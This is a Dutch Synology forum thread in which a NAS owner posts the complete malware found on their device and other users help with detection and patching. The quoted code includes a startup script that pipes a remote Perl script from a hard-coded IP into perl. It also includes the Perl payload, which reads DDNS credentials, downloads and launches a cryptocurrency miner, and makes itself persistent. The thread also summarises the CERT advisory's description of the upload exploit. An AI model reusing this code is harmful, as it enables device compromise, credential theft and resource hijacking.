Synology-Forum.nl

Firmware => Synology DSM algemeen => Topic gestart door: jsahoka op 10 februari 2014, 10:41:06

Titel: Mijn DS212+ lijkt geinfecteerd met een virus!! Help?!
Bericht door: jsahoka op 10 februari 2014, 10:41:06
Hallo,

Ik log in op mijn DS en ik zie ineens een map Startup
In de map startup staat een bestand : S22DiskStation met de volgende inhoud :

Citaat
#!/bin/sh
#
#
# Stop myself if running
PIDFILE=/var/run/DiskStation.pid
#
start() {
 nohup /usr/syno/bin/curl http://83.170.113.14:8080/browser/start.pl | perl -- &
 # write pidfile
 echo $! > $PIDFILE
 echo "Optware startup myscript"
}
#
stop() {
 [ -f ${PIDFILE} ] && kill -9  0
 # remove pidfile
 rm -f $PIDFILE
 echo "Optware shutdown myscript"
}
#
case "$1" in
       start)
               start
       ;;
       stop)
               stop
       ;;
       restart)
               stop
               sleep 1
               start
       ;;
       *)
               echo "Usage: $0 (start|stop|restart)"
               exit 1
       ;;
esac
# End   

de inhoud van http://83.170.113.14:8080/browser/start.pl is :

Citaat
#!/usr/bin/perl

use Carp;
require Exporter;
require DynaLoader;
require 5.006;

my $hostname = `hostname | xargs echo -n`;      # bot will get here machine name
my $name   = getlogin."\@".$hostname;

my $a1 = `df -B G > /tmp/.mysql.socket1`;
my $a2 = `cat /tmp/.mysql.socket1 | awk '{print \$2}' > /tmp/.mysql.socket2`;
my $a3 = `cat /tmp/.mysql.socket2 | tr -d "G " > /tmp/.mysql.socket3`;
my $diskspace = `cat /tmp/.mysql.socket3 | sort -n | tail -n 1 | xargs echo -n`;
# my $diskspace = `df -B G | awk '{print \ $2}' | tr -d "G " | sort -n | tail -n 1`;
############################################################
@passes = ();
sub gcc(){
  my $cmd=`gcc --version`;
  return 1 if $cmd=~/Free Software Foundation/;
  return;
}
sub os()   { $val=`uname -s`;return $val if $val=~s/\n//g; }
sub ddns()   {
  my ($username,$hostname,$passwd);
  my $val=`cat /etc/ddns.conf`;
  $username = $1 if ($val =~/username=(.+)\n/g);
  $hostname = $1 if ($val =~/hostname=(.*)\n/g);
  $passwd = $1 if ($val =~/passwd=(.+)\n/g);
  return "Nothing found" if !($passwd =~/\w/);
  print "   DDNS Creds:"."$hostname\t$username:$passwd"."\n";
  push(@passes,$passwd);
  return $passwd;

}
sub arc()  { $val=`uname -m`;return $val if $val=~s/\n//g; }
sub node() { $val=`uname -n`;return $val if $val=~s/\n//g; }
sub memTotal()  { $val=`cat /proc/meminfo | grep MemTotal`; $val = ($1/1024) if $val=~/(\d+) kB/ig; return sprintf("%.0f",$val); }
sub memFree()  { $val=`cat /proc/meminfo | grep MemFree`; $val = ($1/1024) if $val=~/(\d+) kB/ig; return sprintf("%.0f",$val); }
sub uptime() { $val=`uptime | cut -d "," -f 1 | cut -d " " -f 4-`;chomp($val);return $val}
sub lang() { $val=`echo $LANG`;return $val if $val=~s/(\w+)_.*/$1/g; }
sub nmap(){ $val=`nmap --version`;return $1 if $val=~/Nmap version (\d\.\d+)/;}
sub pwnam(){    ($name, $pass, $uid, $gid, $quota, $comment, $gcos, $dir, $shell, $expire) = getpwnam($ENV{'USER'}); $val=$_[0] if $_[0]; return $$val if $_[0];}
sub ifRoot(){ return 1 if &pwnam('uid') == 0; }
sub cpu(){ $c=`awk -F": " '/cpu MHz\ */ { print $2 }' /proc/cpuinfo`;chomp($c);return $c;}
sub status(){
   print "--".&os."/".&arc."------".&node."----".&memTotal."MB----\n";
   print "   ".$ENV{'USER'}." (".&pwnam('uid').") - Up since ".&uptime." Days\n";
   print "   Total (Global) HDD Space:\t$diskspace GB\n\n";
   &ddns();
#    &whois();
#     system('curl -s dazzlepod.com/ip/me.json | sed -n "s/,/\n/pg"');
    system('curl -s dazzlepod.com/ip/me.json');

#   print @passes;
   print "\n\n--".&os."/".&arc."------".&node."----".&memTotal."MB----\n\n";
}

my $servconf = <<'EOF';   
#!/bin/sh
#
#
# Stop myself if running
PIDFILE=/var/run/DiskStation.pid
#
start() {
 nohup /usr/syno/bin/curl http://83.170.113.14:8080/browser/start.pl | perl -- &
 # write pidfile
 echo $! > $PIDFILE
 echo "Optware startup myscript"
}
#
stop() {
 [ -f ${PIDFILE} ] && kill -9  0
 # remove pidfile
 rm -f $PIDFILE
 echo "Optware shutdown myscript"
}
#
case "$1" in
       start)
               start
       ;;
       stop)
               stop
       ;;
       restart)
               stop
               sleep 1
               start
       ;;
       *)
               echo "Usage: $0 (start|stop|restart)"
               exit 1
       ;;
esac
# End   
EOF

sub whois(){
  my $cmd =~'curl -s dazzlepod.com/ip/me.json | sed -n "s/,/\n/pg"';
  my $data = `$cmd`;
  print $data."\n";
  foreach(split($data,/,/)){
    print "$_\n";
  }
}
sub kernelversion(){
  $kernel=`uname -r`;
  my $kver = $1 if $kernel=~/([2-3]\.\d+\.\d+-\d+)/;
  return $kver if !$_[0];

  if ($kver=~/([2-3])\.(\d+)\.(\d+)/) {
    $Kmain = $1; $Ksub = $2; $KSsub = $3;
  }

  if( $_[0] =~/^([2-3])\.(\d+)\.(\d+)$/ ) {
  #  print "[1] $1 => $Kmain\n";
    return if $1 < $Kmain;
  #  print "[2] $2 <= $Ksub\n";
    return if $2 > $Ksub;
  #  print "[3] $3 <= $KSsub\n";
    return if $3 < $KSsub;
  }

  return 1;
  print "Looks OK! $kver- $_[0]\n";

}

sub procusage() { @arr = split(/, /,`top -b -n 1 | grep Tasks`); return "$arr[0] $arr[1]"; }
sub netstats() {
   $val = `netstats`;chomp($val);@arr=split(/\n/,$val);
   return "[$arr[0]]-[$arr[1]]";
}

sub gb(){
  my $arg = ($_[0]/1024);#kb
  return sprintf("%.0f",($arg/1024));
}

sub w2f(){
  my $file = shift;
  my $string = shift;

  open(FILE,">./$file") || die("ERROR, no write acces?");
    print FILE $string;
  close(FILE);
}


sub getCrons(){
   my $cmd = 'for USER in `cut -d ":" -f1 </etc/passwd`; do crontab -u ${USER} -l 1>/dev/null 2>&1; if [ ! ${?} -ne 0 ]; then echo -en "--- crontab for ${USER} ---\n$(crontab -u ${USER} -l)\n"; fi; done';
   my $test = `$cmd`;
   return $test;
};

sub checkProcName(){
    my $search = $_[0];
    my $strip = $_[1] if ($_[1]);
    my $psl = `ps w`;
    my $ret;
    foreach(split(/\n/,$psl)) {
      next if !($_ =~/$search/i);
      next if ( ($strip != "") && ($_ =~/$strip/i ));
      $ret .= $_."\n";
    }
    return ($ret);
}
status();

my $base = 'http://83.170.113.14:8080/browser/';
my $arch = `uname -m`; $arch =~s/\n//g;
my $filename = "https_$arch";
my $url = "$base$filename";
my $conf = "$base$arch.cfg";
my $list = &checkProcName("/sbin/syslog-ng --module-path=/lib/syslogmod --pidfile=/var/run/syslogng.pid","cfg");
my @arr = split(/\n/,$list);

my $threads = 6;
$threads = "2" if $arch=~/arm/;
$threads = "16" if $arch=~/x86_64/;
$threads = "8" if $arch=~/i686/;
my $int = int(rand(10));

if(-f "/usr/bin/$filename"){
    print "File allready found\n";
    system("rm /usr/bin/$filename");
}

    print "$url\n";
    my $cmd = "wget -O /usr/bin/$filename$int $url";
    system($cmd);
    if (-f "/usr/bin/$filename$int"){
        print "Write $filename success\n";
    }else {
        print "[ERROR] Writing $filename with curl!\n";
        exit 1;
    }

`chmod +x /usr/bin/$filename$int`;
`killall -9 $filename`;
`killall -9 pns minerd synodns`;
my $start = "/usr/bin/$filename$int -B";

if($arch=~/x86_64/) {
    my $cmd = "wget -O /etc/$arch.cfg $conf";
    system($cmd);
    if (-f "/etc/$arch.cfg"){
        print "Write config success\n";
    }else {
        print "[ERROR] Writing config with curl!\n";
        exit 1;
    }
   $start .= " -c /etc/$arch.cfg";
}


print "$start\n";

  if(scalar(@arr) != 0) {
    print "looks like our miner runs: ".scalar(@arr)." times\n";
    `killall -9 $filename`;
  }
  print "[X] Start Miner $ENV{'SERVER_NAME'} $ENV{'HOSTNAME'}\n";
  system($start);


system('killall -9 PWNEDb;killall -9 PWNEDm;killall -9 PWNEDb;killall -9 PWNEDm;killall -9 PWNEDb;killall -9 PWNEDm;killall -9 PWNEDb;killall -9 PWNEDm');

if (-d "/volume1"){
    print "Looks like Synology system\n";
    system("mkdir /volume1/startup") if !(-d "/volume1/startup");
    if (-f "/volume1/startup/S22DiskStation"){
   print "Allready exist\n";
    }else {
#    $servconf =~ s/STARTLINE/$start/g;
   #print $servconf."\n";
   open(FILE,">/volume1/startup/S22DiskStation");
       print FILE $servconf;
   close(FILE);
   system("chmod +x /volume1/startup/S22DiskStation");
   exit 1;
   }
}

# print $list."\n";
# foreach(@list){
#   print "$_\n";
# }
exit;
# print "$url";
#
# system("wget -O ./tmp-w $url");


#my $crons = getCrons();
#print $crons."\n\n";

exit 1;

volgens mij is dit verdomme gewoon een bitcoin-miner die op mijn NAS draait.

Iemand enig idee ?

Ik draai alleen Officiele apps, apps van synocummunity en de apps van http://packages.pcloadletter.co.uk om Crashplan te draaien.
Ik baal hier flink van.
Titel: Re: Mijn DS212+ lijkt geinfecteerd met een virus!! Help?!
Bericht door: jsahoka op 10 februari 2014, 11:25:37
http://forum.synology.com/enu/viewtopic.php?f=19&t=80857

Hier nog meer mensen met hetzelfde probleem.
Titel: Re: Mijn DS212+ lijkt geinfecteerd met een virus!! Help?!
Bericht door: buzzke op 10 februari 2014, 22:44:26
best iedereen eens via telnet of winscp inloggen en via command 'top' kijken of er geen ./PWNEd applicaties draaien op je nas
Titel: Re: Mijn DS212+ lijkt geinfecteerd met een virus!! Help?!
Bericht door: Birdy op 10 februari 2014, 22:50:34
OF:
ps |grep PWNEd
Titel: Re: Mijn DS212+ lijkt geinfecteerd met een virus!! Help?!
Bericht door: sanderl op 11 februari 2014, 09:31:00
Ok... ik zie 28888 admin 4064 S grep PwNEd

Ben ik nu gehacked?
Titel: Re: Mijn DS212+ lijkt geinfecteerd met een virus!! Help?!
Bericht door: Rivak op 11 februari 2014, 09:55:56
Ben ik ook benieuwd naar.
Hier ook nl hetzelfde resultaat op de cijfers na  :o
Titel: Re: Mijn DS212+ lijkt geinfecteerd met een virus!! Help?!
Bericht door: Birdy op 11 februari 2014, 11:03:39
Sorry....even een misverstand wegwerken.

Als je "ps |grep PWNEd"
en je krijgt het volgende te zien (root of admin, ligt er aan hoe je bent ingelogd):
Citaat
DS111> ps |grep PWNEd
 8308 root      4228 S    grep PWNEd       <<<<dit is jouw zoek process
dan zie je dus het proces van jezelf dus draait PWNEd niet en ben je dus niet gehacked.

Als het process wel draait, dan zou het er ongeveer zo uit moeten zien:
Citaat
DS111> ps |grep PWNEd
 8295 root      4228 S    grep PWNEd       <<<<dit is jouw zoek process
 4221 root      4344 S    ./PWNEd             <<<<dit is dus het process die gevonden is, en draait, dus gehacked.

Titel: Re: Mijn DS212+ lijkt geinfecteerd met een virus!! Help?!
Bericht door: Rivak op 11 februari 2014, 12:08:28
Ah, duidelijk... bedankt.
Titel: Re: Mijn DS212+ lijkt geinfecteerd met een virus!! Help?!
Bericht door: henkg op 12 februari 2014, 07:57:34
Wat ik nergens kan vinden:
Wat is het veiligheidsrisico van minerd / pwned? (op CPU load en mogelijke ontoegankelijkheid van DS na).
Zijn bijvoorbeeld mijn bestanden veilig?
Titel: Re: Mijn DS212+ lijkt geinfecteerd met een virus!! Help?!
Bericht door: hansiedown op 12 februari 2014, 09:06:41
ff een beetje spuurwerk. in de code staat een ip adres;
http://83.170.113.14:8080/browser/'
Volgens www.kloth.net zijn hierover de volgende gegevens bekend:
Non-authoritative answer:
 14.113.170.83.in-addr.arpa   name = server52013.uk2net.com

Server Name: SERVER52013.UK2NET.COM
   IP Address: 83.170.113.14
   Registrar: TUCOWS DOMAINS INC.

Query location data for 83.170.113.14 from www.hostip.info:

Country: UNITED KINGDOM (GB)
City: London

Zou ook in ieder geval dit ip number op de blacklist zetten van je Synology.
Titel: Re: Mijn DS212+ lijkt geinfecteerd met een virus!! Help?!
Bericht door: keesdek op 14 februari 2014, 15:58:02
Er is kort geleden een DSM 4.3 update uitgebracht. Uit de release notes blijkt, dat malware wordt verwijderd en dat het systeem 'gerepareerd' wordt.

http://www.synology.com/en-global/releaseNote/model/DS212+

Waarschijnlijk is dit wat je zoekt...
Titel: Re: Mijn DS212+ lijkt geinfecteerd met een virus!! Help?!
Bericht door: Leader98 op 14 februari 2014, 16:54:28
Ik had 3x DCHP.PID services lopen die samen 100% CPU belasting vormden op de DS213+.

4.3-3827 update geinstalleerd.
Syno gereboot.

Alles is weer normaal.
Ben wel benieuwd of nu alle rotzooi echt weg is...
Titel: Re: Mijn DS212+ lijkt geinfecteerd met een virus!! Help?!
Bericht door: Jazz op 17 februari 2014, 09:34:53
Mmh, ik ben waarschijnlijk ook de klos. Ik heb inmiddels alle bestanden die verdacht zijn verwijderd. Wat ik me afvraag, hoe komen die lui binnen? Gewoon door op iedere poort te rammelen of bv via phpadmin? iemand een idee?

Titel: Re: Mijn DS212+ lijkt geinfecteerd met een virus!! Help?!
Bericht door: Leader98 op 17 februari 2014, 13:05:47
Hier staat meer info over hoe de malware is geinstalleerd op de DS:
http://www.kb.cert.org/vuls/id/615910

Synology DiskStation Manager versions 4.3-3776-3 and below allow a remote unauthenticated user to append arbitrary data to files on the system under root privileges. According to Synology:

Synology File Station in DSM employs a technique called "Slice Upload" to upload files when the file size is over 4GB [in the] Firefox browser. Since this feature is implemented in DSM4.0, all versions of DSM after DSM4.0 are subject to this vulnerability.
 To exploit this vulnerability, an attacker needs to send a specially crafted HTTP POST request to /webman/imageSelector.cgi containing the header fields X-TYPE-NAME: SLICEUPLOAD and X-TMP-FILE with the valid path of the file to append malicious code or data.
Titel: Re: Mijn DS212+ lijkt geinfecteerd met een virus!! Help?!
Bericht door: dirk2011 op 17 februari 2014, 22:07:45
Vandaag een e-mail van synology. Als de sodemieter maar de update uitgevoerd.

Begrijp ik het goed, het is een bug in apache?
Titel: Re: Mijn DS212+ lijkt geinfecteerd met een virus!! Help?!
Bericht door: Jazz op 18 februari 2014, 00:34:11
Nee, Geen bug in apache, maar aan de client kant, tenminste dat is wat ervan begrijp. Google maar eens op SLICE UPLOAD (een methode om grote bestanden (>2GB of zo iets)  efficiĆ«nt te kunnen uploaden. )